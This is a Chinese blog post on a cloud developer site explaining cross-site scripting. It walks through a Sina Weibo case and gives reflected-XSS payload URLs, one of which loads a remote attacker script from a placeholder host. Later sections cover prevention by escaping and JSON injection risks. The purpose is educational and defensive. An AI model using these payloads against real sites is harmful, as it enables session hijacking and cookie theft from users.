前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS跨站请求攻击

XSS跨站请求攻击

作者头像
张云飞Vir
发布2024-03-01 14:09:36
1150
发布2024-03-01 14:09:36
举报
文章被收录于专栏:写代码和思考

一、前言

XSS 即 Cross Site Script,跨站脚本攻击;缩写应该是 CSS,但为了和 CSS(Cascading Style Sheet,层叠样式表) 有所区分,因而改叫 XSS

也就通过利用网站漏洞,通过网址,输入框等方式构造恶意脚本( java script) ,用脚本进行攻击的一种方式。

二、概述

案例

代码语言:javascript
复制
新浪微博 XSS 漏洞

1) 攻击者发现漏洞:发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。
2) 于是攻击者构建出一个 URL,然后诱导用户去点击:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
复制代码<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>
3) 浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作

(1) 发现漏洞,比如:

  • 网址中的链接可以注入脚本 比如 某网站搜索页面的网址是:http://xxx/search?keyword=搜索词。这个页面打开后会将“搜索词” 相显示在页面中。那么,构造一个
代码语言:javascript
复制
http://xxx/search?keyword="><script>alert('XSS');</script> 

这样的网址,让用户点击,就可以进行攻击

  • 文本输入框
  • 富文本编辑器,比如,发帖,评论。通过在帖子,评论中注入 script脚本, 当查看评论时触发脚本,自动发送cookie信息等。
  • 将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。

三、如何预防xss攻击

整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢? 答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。 那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?问题是:在提交阶段,我们并不确定内容要输出到哪里,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

通过“防止浏览器执行恶意代码”来防范 XSS

  • 防止 HTML 中出现注入。显示“来自用户输入的内容时”,要进行格式化转义
  • 防止 JavaScript 执行时,执行恶意代码。比如 发评论的内容不能有脚本本执行。
  • json 中也能被注入脚本。

JSON 也是不安全的:当 JSON 中包含 U+2028 或 U+2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。 当 JSON 中包含字符串 </script> 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-02-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、前言
  • 二、概述
    • 案例
      • 三、如何预防xss攻击
        • 输入过滤
      • 通过“防止浏览器执行恶意代码”来防范 XSS
      相关产品与服务
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档